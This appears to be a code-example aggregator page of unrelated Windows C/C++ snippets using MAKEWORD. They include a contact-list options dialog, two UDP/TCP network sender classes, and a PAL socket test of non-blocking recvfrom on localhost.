                        DBWriteContactSettingWord(NULL, "CList", "HKReadMsg", (WORD) SendDlgItemMessage(hwndDlg, IDC_HKREADMSG, HKM_GETHOTKEY, 0, 0));
                        DBWriteContactSettingByte(NULL, "CList", "HKEnNetSearch", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                        DBWriteContactSettingWord(NULL, "CList", "HKNetSearch", (WORD) SendDlgItemMessage(hwndDlg, IDC_HKSEARCH, HKM_GETHOTKEY, 0, 0));
                        GetDlgItemTextA(hwndDlg, IDC_SEARCHURL, str, sizeof(str));
                        DBWriteContactSettingString(NULL, "CList", "SearchUrl", str);
                        DBWriteContactSettingByte(NULL, "CList", "HKSearchNewWnd", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_SEARCHNEWWND));
                        DBWriteContactSettingByte(NULL, "CList", "HKEnShowOptions", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_SHOWOPTIONS));
                        DBWriteContactSettingWord(NULL, "CList", "HKShowOptions", (WORD) SendDlgItemMessage(hwndDlg, IDC_HKSHOWOPTIONS, HKM_GETHOTKEY, 0, 0));
                        pcli->pfnHotKeysRegister((HWND) CallService(MS_CLUI_GETHWND, 0, 0));
                        return TRUE;
                    }
            }
            break;
    }
    return FALSE;
}
Пример #11
0
static BOOL CALLBACK DlgProcGenOpts(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
    switch (msg) {
        case WM_USER+1:
            {
                HANDLE hContact = (HANDLE) wParam;
                DBCONTACTWRITESETTING *ws = (DBCONTACTWRITESETTING *) lParam;
                if (hContact == NULL && ws != NULL && ws->szModule != NULL && ws->szSetting != NULL && lstrcmpiA(ws->szModule, "CList") == 0 && lstrcmpiA(ws->szSetting, "UseGroups") == 0 && IsWindowVisible(hwndDlg)) {
                    CheckDlgButton(hwndDlg, IDC_DISABLEGROUPS, ws->value.bVal == 0);
                }
                break;
            }
        case WM_DESTROY:
            {
                UnhookEvent((HANDLE) GetWindowLong(hwndDlg, GWL_USERDATA));
                break;
            }
        case WM_INITDIALOG:
            TranslateDialogDefault(hwndDlg);
            SetWindowLong(hwndDlg, GWL_USERDATA, (LONG) HookEventMessage(ME_DB_CONTACT_SETTINGCHANGED, hwndDlg, WM_USER + 1));
            CheckDlgButton(hwndDlg, IDC_ONTOP, DBGetContactSettingByte(NULL, "CList", "OnTop", SETTING_ONTOP_DEFAULT) ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_HIDEOFFLINE, DBGetContactSettingByte(NULL, "CList", "HideOffline", SETTING_HIDEOFFLINE_DEFAULT) ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_HIDEEMPTYGROUPS, DBGetContactSettingByte(NULL, "CList", "HideEmptyGroups", SETTING_HIDEEMPTYGROUPS_DEFAULT) ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_DISABLEGROUPS, DBGetContactSettingByte(NULL, "CList", "UseGroups", SETTING_USEGROUPS_DEFAULT) ? BST_UNCHECKED : BST_CHECKED);
            CheckDlgButton(hwndDlg, IDC_CONFIRMDELETE, DBGetContactSettingByte(NULL, "CList", "ConfirmDelete", SETTING_CONFIRMDELETE_DEFAULT) ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_AUTOHIDE, DBGetContactSettingByte(NULL, "CList", "AutoHide", SETTING_AUTOHIDE_DEFAULT) ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_EVENTSONTOP, (g_CluiData.dwFlags & CLUI_STICKYEVENTS) ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_DONTSEPARATE, g_CluiData.bDontSeparateOffline);

			{
				int i;

				for(i = 0; sortCtrlIDs[i] != 0; i++) {
					SendDlgItemMessage(hwndDlg, sortCtrlIDs[i], CB_INSERTSTRING, -1, (LPARAM)TranslateT("Nothing"));
					SendDlgItemMessage(hwndDlg, sortCtrlIDs[i], CB_INSERTSTRING, -1, (LPARAM)TranslateT("Name"));
					SendDlgItemMessage(hwndDlg, sortCtrlIDs[i], CB_INSERTSTRING, -1, (LPARAM)TranslateT("Protocol"));
					SendDlgItemMessage(hwndDlg, sortCtrlIDs[i], CB_INSERTSTRING, -1, (LPARAM)TranslateT("Status"));
					SendDlgItemMessage(hwndDlg, sortCtrlIDs[i], CB_INSERTSTRING, -1, (LPARAM)TranslateT("Last Message"));
                    SendDlgItemMessage(hwndDlg, sortCtrlIDs[i], CB_INSERTSTRING, -1, (LPARAM)TranslateT("Message Frequency"));
					
					SendDlgItemMessage(hwndDlg, sortCtrlIDs[i], CB_SETCURSEL, g_CluiData.sortOrder[i], 0);
				}
			}

			EnableWindow(GetDlgItem(hwndDlg, IDC_HIDETIME), IsDlgButtonChecked(hwndDlg, IDC_AUTOHIDE));
            EnableWindow(GetDlgItem(hwndDlg, IDC_HIDETIMESPIN), IsDlgButtonChecked(hwndDlg, IDC_AUTOHIDE)); {
                DWORD caps = CallService(MS_CLUI_GETCAPS, CLUICAPS_FLAGS1, 0);
                if (!(caps & CLUIF_HIDEEMPTYGROUPS))
                    ShowWindow(GetDlgItem(hwndDlg, IDC_HIDEEMPTYGROUPS), SW_HIDE);
                if (!(caps & CLUIF_DISABLEGROUPS))
                    ShowWindow(GetDlgItem(hwndDlg, IDC_DISABLEGROUPS), SW_HIDE);
                if (caps & CLUIF_HASONTOPOPTION)
                    ShowWindow(GetDlgItem(hwndDlg, IDC_ONTOP), SW_HIDE);
                if (caps & CLUIF_HASAUTOHIDEOPTION) {
                    ShowWindow(GetDlgItem(hwndDlg, IDC_AUTOHIDE), SW_HIDE);
                    ShowWindow(GetDlgItem(hwndDlg, IDC_HIDETIME), SW_HIDE);
                    ShowWindow(GetDlgItem(hwndDlg, IDC_HIDETIMESPIN), SW_HIDE);
                    ShowWindow(GetDlgItem(hwndDlg, IDC_STAUTOHIDESECS), SW_HIDE);
                }
            }
            SendDlgItemMessage(hwndDlg, IDC_HIDETIMESPIN, UDM_SETRANGE, 0, MAKELONG(900, 1));
            SendDlgItemMessage(hwndDlg, IDC_HIDETIMESPIN, UDM_SETPOS, 0, MAKELONG(DBGetContactSettingWord(NULL, "CList", "HideTime", SETTING_HIDETIME_DEFAULT), 0));
            CheckDlgButton(hwndDlg, IDC_ONECLK, DBGetContactSettingByte(NULL, "CList", "Tray1Click", SETTING_TRAY1CLICK_DEFAULT) ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_ALWAYSSTATUS, DBGetContactSettingByte(NULL, "CList", "AlwaysStatus", SETTING_ALWAYSSTATUS_DEFAULT) ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_ALWAYSMULTI, !DBGetContactSettingByte(NULL, "CList", "AlwaysMulti", SETTING_ALWAYSMULTI_DEFAULT) ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_DONTCYCLE, DBGetContactSettingByte(NULL, "CList", "TrayIcon", SETTING_TRAYICON_DEFAULT) == SETTING_TRAYICON_SINGLE ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_CYCLE, DBGetContactSettingByte(NULL, "CList", "TrayIcon", SETTING_TRAYICON_DEFAULT) == SETTING_TRAYICON_CYCLE ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_MULTITRAY, DBGetContactSettingByte(NULL, "CList", "TrayIcon", SETTING_TRAYICON_DEFAULT) == SETTING_TRAYICON_MULTI ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_DISABLEBLINK, DBGetContactSettingByte(NULL, "CList", "DisableTrayFlash", 0) == 1 ? BST_CHECKED : BST_UNCHECKED);
            CheckDlgButton(hwndDlg, IDC_ICONBLINK, DBGetContactSettingByte(NULL, "CList", "NoIconBlink", 0) == 1 ? BST_CHECKED : BST_UNCHECKED);
            if (IsDlgButtonChecked(hwndDlg, IDC_DONTCYCLE)) {
                EnableWindow(GetDlgItem(hwndDlg, IDC_CYCLETIMESPIN), FALSE);
                EnableWindow(GetDlgItem(hwndDlg, IDC_CYCLETIME), FALSE);
                EnableWindow(GetDlgItem(hwndDlg, IDC_ALWAYSMULTI), FALSE);
            }
            if (IsDlgButtonChecked(hwndDlg, IDC_CYCLE)) {
                EnableWindow(GetDlgItem(hwndDlg, IDC_PRIMARYSTATUS), FALSE);
                EnableWindow(GetDlgItem(hwndDlg, IDC_ALWAYSMULTI), FALSE);
            }
            if (IsDlgButtonChecked(hwndDlg, IDC_MULTITRAY)) {
                EnableWindow(GetDlgItem(hwndDlg, IDC_CYCLETIMESPIN), FALSE);
                EnableWindow(GetDlgItem(hwndDlg, IDC_CYCLETIME), FALSE);
                EnableWindow(GetDlgItem(hwndDlg, IDC_PRIMARYSTATUS), FALSE);
            }
            SendDlgItemMessage(hwndDlg, IDC_CYCLETIMESPIN, UDM_SETRANGE, 0, MAKELONG(120, 1));
            SendDlgItemMessage(hwndDlg, IDC_CYCLETIMESPIN, UDM_SETPOS, 0, MAKELONG(DBGetContactSettingWord(NULL, "CList", "CycleTime", SETTING_CYCLETIME_DEFAULT), 0)); {
                int i, count, item;
                PROTOCOLDESCRIPTOR **protos;
                char szName[64];
                DBVARIANT dbv = {
                    DBVT_DELETED
                };
                DBGetContactSetting(NULL, "CList", "PrimaryStatus", &dbv);
                CallService(MS_PROTO_ENUMPROTOCOLS, (WPARAM) &count, (LPARAM) &protos);
                item = SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_ADDSTRING, 0, (LPARAM) TranslateT("Global"));
                SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_SETITEMDATA, item, (LPARAM) 0);
                for (i = 0; i < count; i++) {
                    if (protos[i]->type != PROTOTYPE_PROTOCOL || CallProtoService(protos[i]->szName, PS_GETCAPS, PFLAGNUM_2, 0) == 0)
                        continue;
                    CallProtoService(protos[i]->szName, PS_GETNAME, sizeof(szName), (LPARAM) szName);
                    item = SendDlgItemMessageA(hwndDlg, IDC_PRIMARYSTATUS, CB_ADDSTRING, 0, (LPARAM) szName);
                    SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_SETITEMDATA, item, (LPARAM) protos[i]);
                    if (dbv.type == DBVT_ASCIIZ && !lstrcmpA(dbv.pszVal, protos[i]->szName))
                        SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_SETCURSEL, item, 0);
                }
            }
            if (-1 == (int) SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_GETCURSEL, 0, 0))
                SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_SETCURSEL, 0, 0);
            SendDlgItemMessage(hwndDlg, IDC_BLINKSPIN, UDM_SETBUDDY, (WPARAM) GetDlgItem(hwndDlg, IDC_BLINKTIME), 0);       // set buddy            
            SendDlgItemMessage(hwndDlg, IDC_BLINKSPIN, UDM_SETRANGE, 0, MAKELONG(0x3FFF, 250));
            SendDlgItemMessage(hwndDlg, IDC_BLINKSPIN, UDM_SETPOS, 0, MAKELONG(DBGetContactSettingWord(NULL, "CList", "IconFlashTime", 550), 0));
            CheckDlgButton(hwndDlg, IDC_NOTRAYINFOTIPS, g_CluiData.bNoTrayTips ? 1 : 0);
            return TRUE;
        case WM_COMMAND:
            if (LOWORD(wParam) == IDC_AUTOHIDE) {
                EnableWindow(GetDlgItem(hwndDlg, IDC_HIDETIME), IsDlgButtonChecked(hwndDlg, IDC_AUTOHIDE));
                EnableWindow(GetDlgItem(hwndDlg, IDC_HIDETIMESPIN), IsDlgButtonChecked(hwndDlg, IDC_AUTOHIDE));
            }
            if (LOWORD(wParam) == IDC_DONTCYCLE || LOWORD(wParam) == IDC_CYCLE || LOWORD(wParam) == IDC_MULTITRAY) {
                EnableWindow(GetDlgItem(hwndDlg, IDC_PRIMARYSTATUS), IsDlgButtonChecked(hwndDlg, IDC_DONTCYCLE));
                EnableWindow(GetDlgItem(hwndDlg, IDC_CYCLETIME), IsDlgButtonChecked(hwndDlg, IDC_CYCLE));
                EnableWindow(GetDlgItem(hwndDlg, IDC_CYCLETIMESPIN), IsDlgButtonChecked(hwndDlg, IDC_CYCLE));
                EnableWindow(GetDlgItem(hwndDlg, IDC_ALWAYSMULTI), IsDlgButtonChecked(hwndDlg, IDC_MULTITRAY));
            }
            if ((LOWORD(wParam) == IDC_HIDETIME || LOWORD(wParam) == IDC_CYCLETIME) && HIWORD(wParam) != EN_CHANGE)
                break;
            if (LOWORD(wParam) == IDC_PRIMARYSTATUS && HIWORD(wParam) != CBN_SELCHANGE)
                break;
            if ((LOWORD(wParam) == IDC_HIDETIME || LOWORD(wParam) == IDC_CYCLETIME) && (HIWORD(wParam) != EN_CHANGE || (HWND) lParam != GetFocus()))
                return 0;
            if (LOWORD(wParam) == IDC_BLINKTIME && HIWORD(wParam) != EN_CHANGE || (HWND) lParam != GetFocus())
                return 0; // dont make apply enabled during buddy set crap
            SendMessage(GetParent(hwndDlg), PSM_CHANGED, 0, 0);
            break;
        case WM_NOTIFY:
            switch (((LPNMHDR) lParam)->idFrom) {
                case 0:
                    switch (((LPNMHDR) lParam)->code) {
                        case PSN_APPLY:
                            DBWriteContactSettingByte(NULL, "CList", "HideOffline", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_HIDEOFFLINE)); {
                                DWORD caps = CallService(MS_CLUI_GETCAPS, CLUICAPS_FLAGS1, 0);
                                if (caps & CLUIF_HIDEEMPTYGROUPS)
                                    DBWriteContactSettingByte(NULL, "CList", "HideEmptyGroups", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_HIDEEMPTYGROUPS));
                                if (caps & CLUIF_DISABLEGROUPS)
                                    DBWriteContactSettingByte(NULL, "CList", "UseGroups", (BYTE) ! IsDlgButtonChecked(hwndDlg, IDC_DISABLEGROUPS));
                                if (!(caps & CLUIF_HASONTOPOPTION)) {
                                    DBWriteContactSettingByte(NULL, "CList", "OnTop", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_ONTOP));
                                    SetWindowPos((HWND) CallService(MS_CLUI_GETHWND, 0, 0), IsDlgButtonChecked(hwndDlg, IDC_ONTOP) ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
                                }
                                if (!(caps & CLUIF_HASAUTOHIDEOPTION)) {
                                    DBWriteContactSettingByte(NULL, "CList", "AutoHide", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_AUTOHIDE));
                                    DBWriteContactSettingWord(NULL, "CList", "HideTime", (WORD) SendDlgItemMessage(hwndDlg, IDC_HIDETIMESPIN, UDM_GETPOS, 0, 0));
                                }
                            }

							{
								int i;
								LRESULT curSel;

								for(i = 0; sortCtrlIDs[i] != 0; i++) {
									curSel = SendDlgItemMessage(hwndDlg, sortCtrlIDs[i], CB_GETCURSEL, 0, 0);
									if(curSel == 0 || curSel == CB_ERR)
										g_CluiData.sortOrder[i] = 0;
									else
										g_CluiData.sortOrder[i] = (BYTE)curSel;
								}
								DBWriteContactSettingDword(NULL, "CList", "SortOrder", 
									MAKELONG(MAKEWORD(g_CluiData.sortOrder[0], g_CluiData.sortOrder[1]),
									MAKEWORD(g_CluiData.sortOrder[2], 0)));

								if(g_CluiData.sortOrder[0] == SORTBY_LASTMSG || g_CluiData.sortOrder[1] == SORTBY_LASTMSG || g_CluiData.sortOrder[2] == SORTBY_LASTMSG) {
									int i;

									for(i = 0; i < g_nextExtraCacheEntry; i++)
										g_ExtraCache[i].dwLastMsgTime = INTSORT_GetLastMsgTime(g_ExtraCache[i].hContact);
								}
							}

                            DBWriteContactSettingByte(NULL, "CList", "ConfirmDelete", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_CONFIRMDELETE));
                            DBWriteContactSettingByte(NULL, "CList", "Tray1Click", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_ONECLK));
                            DBWriteContactSettingByte(NULL, "CList", "AlwaysStatus", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_ALWAYSSTATUS));
                            DBWriteContactSettingByte(NULL, "CList", "AlwaysMulti", (BYTE) ! IsDlgButtonChecked(hwndDlg, IDC_ALWAYSMULTI));
                            DBWriteContactSettingByte(NULL, "CList", "TrayIcon", (BYTE) (IsDlgButtonChecked(hwndDlg, IDC_DONTCYCLE) ? SETTING_TRAYICON_SINGLE : (IsDlgButtonChecked(hwndDlg, IDC_CYCLE) ? SETTING_TRAYICON_CYCLE : SETTING_TRAYICON_MULTI)));
                            DBWriteContactSettingWord(NULL, "CList", "CycleTime", (WORD) SendDlgItemMessage(hwndDlg, IDC_CYCLETIMESPIN, UDM_GETPOS, 0, 0));
                            DBWriteContactSettingWord(NULL, "CList", "IconFlashTime", (WORD) SendDlgItemMessage(hwndDlg, IDC_BLINKSPIN, UDM_GETPOS, 0, 0));
                            DBWriteContactSettingByte(NULL, "CList", "DisableTrayFlash", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_DISABLEBLINK));
                            DBWriteContactSettingByte(NULL, "CList", "NoIconBlink", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_ICONBLINK));
                            g_CluiData.bDontSeparateOffline = IsDlgButtonChecked(hwndDlg, IDC_DONTSEPARATE) ? 1 : 0;
                            DBWriteContactSettingByte(NULL, "CList", "DontSeparateOffline", g_CluiData.bDontSeparateOffline);

                            g_CluiData.bNoTrayTips = IsDlgButtonChecked(hwndDlg, IDC_NOTRAYINFOTIPS) ? 1 : 0;
                            DBWriteContactSettingByte(NULL, "CList", "NoTrayTips", g_CluiData.bNoTrayTips);
                            if (!SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_GETITEMDATA, SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_GETCURSEL, 0, 0), 0))
                                DBDeleteContactSetting(NULL, "CList", "PrimaryStatus");
                            else
                                DBWriteContactSettingString(NULL, "CList", "PrimaryStatus", ((PROTOCOLDESCRIPTOR *) SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_GETITEMDATA, SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_GETCURSEL, 0, 0), 0))->szName);
                            pcli->pfnTrayIconIconsChanged();
                            LoadContactTree(); /* this won't do job properly since it only really works when changes happen */
                            SendMessage(pcli->hwndContactTree, CLM_AUTOREBUILD, 0, 0); /* force reshuffle */
                            g_CluiData.dwFlags = IsDlgButtonChecked(hwndDlg, IDC_EVENTSONTOP) ? g_CluiData.dwFlags | CLUI_STICKYEVENTS : g_CluiData.dwFlags & ~CLUI_STICKYEVENTS;
                            DBWriteContactSettingDword(NULL, "CLUI", "Frameflags", g_CluiData.dwFlags);
                            return TRUE;
                    }
                    break;
            }
            break;
    }
    return FALSE;
}
Пример #12
0
bool CTsNetworkSender::Open(const AddressInfo *pList, DWORD Length)
{
	CBlockLock Lock(&m_DecoderLock);

	if (IsOpen()) {
		SetError(TEXT("既に開かれています。"));
		return false;
	}

	if (pList == NULL || Length == 0) {
		SetError(TEXT("アドレスが指定されていません。"));
		return false;
	}

	if (!m_bWSAInitialized) {
		WSAData WSAData;
		int Error = ::WSAStartup(MAKEWORD(2,0), &WSAData);
		if (Error != 0) {
			TCHAR szText[64];
			StdUtil::snprintf(szText, _countof(szText), TEXT("Winsockの初期化ができません。(%d)"), Error);
			SetError(szText);
			return false;
		}
		m_bWSAInitialized = true;
	}

	try {
		for (DWORD i = 0; i < Length; i++) {
			SocketInfo Info;
			int Type;

			if (pList[i].Type == SOCKET_UDP) {
				Type = SOCK_DGRAM;
			} else if (pList[i].Type == SOCKET_TCP) {
				Type = SOCK_STREAM;
			} else {
				throw __LINE__;
			}
			Info.Type = pList[i].Type;
			TCHAR szPort[8];
			StdUtil::snprintf(szPort, _countof(szPort), TEXT("%d"), pList[i].Port);
			ADDRINFOT AddrHints;
			::ZeroMemory(&AddrHints, sizeof(ADDRINFOT));
			AddrHints.ai_socktype = Type;
			int Result = ::GetAddrInfo(pList[i].pszAddress, szPort, &AddrHints, &Info.AddrList);
			if (Result != 0) {
				SetError(TEXT("アドレスを取得できません。"));
				throw __LINE__;
			}

			// 非ブロッキングに設定
			u_long arg = 1;
			::ioctlsocket(Info.sock, FIONBIO, &arg);

			Info.bConnected = false;
			Info.addr = NULL;
			Info.sock = INVALID_SOCKET;
			Info.Event = WSA_INVALID_EVENT;
			Info.SentBytes = 0;

			if (Type == SOCK_DGRAM) {
				const DWORD LocalHost = ::inet_addr("127.0.0.1");
				::setsockopt(Info.sock, IPPROTO_IP, IP_MULTICAST_IF, (const char *)&LocalHost, sizeof(DWORD));
			}

			m_SockList.push_back(Info);
		}

		m_EndSendingEvent.Create(true);
		m_hSendThread = (HANDLE)::_beginthreadex(NULL, 0, SendThread, this, 0, NULL);
		if (m_hSendThread == NULL) {
			SetError(TEXT("スレッドを作成できません。"));
			throw __LINE__;
		}
	} catch (...) {
		Close();
		return false;
	}

	return true;
}
Пример #13
0
SkeletonSender::SkeletonSender(const char* ip_addr, unsigned short port_num)
{
    ip = (char*)malloc(sizeof(char) * IP_ADDR_LENGTH);
    strcpy_s(ip, IP_ADDR_LENGTH, ip_addr);
    port = port_num;

    if (WSAStartup(MAKEWORD(2, 0), &wsadata) != 0)
    {
        exit(-1);
    }

    memset(&sockAddrIn, 0, sizeof(sockAddrIn));
    sockAddrIn.sin_addr.s_addr = inet_addr(ip);
    sockAddrIn.sin_port = htons(port);
    sockAddrIn.sin_family = AF_INET;

    sockSend = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockSend == INVALID_SOCKET)
    {
        std::cout << "SkeletonSender: Invalid socket. exitting ..." << std::endl;
        exit(-2);
    }


    tinyxml2::XMLDocument xml;
    if (xml.LoadFile("../parameter.xml") == tinyxml2::XML_NO_ERROR)
    {
        std::cout << "Succeed to calibration file." << std::endl;

        tinyxml2::XMLElement *extrinsic_parameter = xml.FirstChildElement("extrinsic_parameter");
        tinyxml2::XMLElement *translation = extrinsic_parameter->FirstChildElement("translation");
        tinyxml2::XMLElement *rotation = extrinsic_parameter->FirstChildElement("rotation");

        tinyxml2::XMLElement *t;
        t = translation->FirstChildElement("param");
        while (t != NULL)
        {
            if (t->Attribute("name", "tx"))
            {
                tx = (float)atof(t->GetText());
            }
            else if (t->Attribute("name", "ty"))
            {
                ty = (float)atof(t->GetText());
            }
            else if (t->Attribute("name", "tz"))
            {
                tz = (float)atof(t->GetText());
            }
            t = t->NextSiblingElement("param");
        }

        tinyxml2::XMLElement *q;
        q = rotation->FirstChildElement("param");
        while (q != NULL)
        {
            if (q->Attribute("name", "qx"))
            {
                qx = (float)atof(q->GetText());
            }
            else if (q->Attribute("name", "qy"))
            {
                qy = (float)atof(q->GetText());
            }
            else if (q->Attribute("name", "qz"))
            {
                qz = (float)atof(q->GetText());
            }
            else if (q->Attribute("name", "qw"))
            {
                qw = (float)atof(q->GetText());
            }
            q = q->NextSiblingElement("param");
        }
        isOpened = true;
    }

    return;
}
Пример #14
0
/**
 * main
 * 
 * executable entry point
 */
int __cdecl main( int argc, char **argv ) 
{
    /* local variables */
    int err;
    WORD wVersionRequested;
    WSADATA wsaData;
    DWORD dwSocketError;
    u_long one;
    struct  sockaddr_in mySockaddr;

    SOCKET sock = INVALID_SOCKET;

    /* recvfrom operation varaibles*/
    HANDLE hReadEvent;    
    char myBuffer[255];    
    DWORD         dwRecvFlags = 0;
    WSAOVERLAPPED wsaRecvOverlapped;
    int sizeOverlapped;    


    /* PAL initialization */
    if ( (PAL_Initialize(argc, argv)) != 0 )
    {
        return( FAIL );
    }


    /* initialize winsock version 2.2 */
    wVersionRequested = MAKEWORD( 2, 2 );

    err = WSAStartup( wVersionRequested, &wsaData );
    if ( err != 0 )
    {
        Fail( "Unexpected WSAStartup call failed with error code %d\n", 
              err ); 
    }

    /* Confirm that the WinSock DLL supports the specified version. */
    if( LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 2 )
    {
        /* Tell the user that we could not find a usable winsock DLL. */
        
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail(   "Requested winsock version unsupported, "
                "returned version %d.%d\n", 
                LOBYTE( wsaData.wVersion ),
                HIBYTE( wsaData.wVersion ) ); 
    }

    /* prepare the sockaddr_in structure */
    mySockaddr.sin_family           = AF_INET;
    mySockaddr.sin_port             = getRotorTestPort();
    mySockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

    memset( &(mySockaddr.sin_zero), 0, 8);


    /* create a stream socket in Internet domain */
    sock = WSASocketA(  AF_INET,
                        SOCK_DGRAM,
                        IPPROTO_UDP,
                        NULL,
                        0,
                        WSA_FLAG_OVERLAPPED
                    );


    if( sock == INVALID_SOCKET )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();
        
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail(   "WSASocket call failed with error code %d\n",
                dwSocketError ); 
    }
    
    /* set the socket to non-blocking */
    one = 1;
    err = ioctlsocket( sock, FIONBIO, &one );
    if( err != 0 )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();
        Fail(   "ioctlsocket call failed with error code %d\n",
                dwSocketError ); 
    }
    
    
    /* bind local address to a socket */
    err = bind( sock,
                (struct sockaddr *)&mySockaddr,
                sizeof(struct sockaddr) );

    
    if( err == SOCKET_ERROR )
    {
        Trace("ERROR: Unexpected failure: "
              "bind() socket with local address "
              "returned %d\n",
              GetLastError() );       

        /* Do some cleanup */
        if (closesocket( sock )==SOCKET_ERROR )
        {
            Trace("Error closing socket\n");                
        }
       
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail("");
    }

    /* create an event */
    hReadEvent = CreateEvent( NULL, /* no security   */
                             FALSE,   /* reset type    */
                             FALSE,   /* initial state */
                             NULL );  /* object name   */
            
    if( hReadEvent == NULL )
    {            
        Trace("Server error: Unexpected failure: "
              "CreateEvent() "
              "returned %d\n",
              GetLastError());

         /* Do some cleanup */
        if (closesocket( sock )==SOCKET_ERROR )
        {
            Trace("Error closing socket\n");                
        }
        
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail("");
        
    }

    /* Initialize the WSABUF structure */
    memset(myBuffer, 0, 255);    

    /* Initialize the WSAOVERLAPPED to 0 */
    memset(&wsaRecvOverlapped, 0, sizeof(WSAOVERLAPPED));

    /* Specify which event to signal when data is arrived*/
    wsaRecvOverlapped.hEvent = hReadEvent;

    sizeOverlapped = (int) sizeof(mySockaddr);

    /* Prepare to receive data */
    err = recvfrom( sock,
                myBuffer,
                255,
                dwRecvFlags,
                (struct sockaddr*)&mySockaddr,
                &sizeOverlapped);

    if( err != SOCKET_ERROR )
    {
        Trace("Server error: WSARecv() "
                    "returned  %d, SOCKET_ERROR\n",
                    err ); 

        if (CloseHandle(hReadEvent)==0)
        {
            Trace("Server error: CloseHandle Failed ");                    
        }

        /* Do some cleanup */
        if (closesocket( sock )==SOCKET_ERROR )
        {
            Trace("Error closing socket\n");                
        }
        
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail("");
    
    }
    else
    {
        err = GetLastError();
        /* Only WSA_IO_PENDING is expected */
        if(err==WSA_IO_PENDING)
        {
            /* Wait 10 seconds for ReadEvent to be signaled 
            from the pending operation
            */
            err = WaitForSingleObject( hReadEvent, 1000 );    
            
            if (err==WAIT_FAILED)
            {           
                Trace("Server error: Unexpected failure: "
                    "WaitForSingleObject failed \n");

                if (CloseHandle(hReadEvent)==0)
                {
                    Trace("Server error: CloseHandle Failed ");                    
                }

                if (closesocket( sock )==SOCKET_ERROR )
                {
                    Trace("Error closing socket\n");                
                }

                if (WSACleanup()==0 )
                {                
                    Trace("WSACleanup call failed with error code %u\n",
                        GetLastError() ); 
                }

                Fail("");
            }
            err = wsaRecvOverlapped.Internal;
        }


        /* Only WSAEWOULDBLOCK is expected */
        if(err!=WSAEWOULDBLOCK)
        {
            Trace("Server error: WSARecvFrom() "
                    "returned %d, expected WSAEWOULDBLOCK\n",
                    err );

            if (CloseHandle(hReadEvent)==0)
            {
                Trace("Server error: CloseHandle Failed ");                    
            }
            
            if (closesocket( sock )==SOCKET_ERROR)
            {
                Trace("Error closing socket\n");                
            }

            if (WSACleanup()==0 )
            {                
                Trace("WSACleanup call failed with error code %u\n",
                    GetLastError() ); 
            }
    
            Fail("");
        }     
    }       

    /* close the socket */
    err = closesocket( sock );
    if( err != 0 )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();

         if (CloseHandle(hReadEvent)==0)
        {
            Trace("Server error: CloseHandle Failed ");      
        }

        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail(   "closesocket call failed with error code %d\n",
                dwSocketError ); 
    }

    if (CloseHandle(hReadEvent)==0)
    {
        Trace("Server error: CloseHandle Failed "); 

        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }
        Fail("");
    }

    /* cleanup the winsock library */
    err = WSACleanup();
    if( err != 0 )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();
        Fail(   "WSACleanup call failed with error code %d\n",
                dwSocketError ); 
    }
        
    /* PAL termination */
    PAL_Terminate();
    return PASS; 
}
Пример #15
0
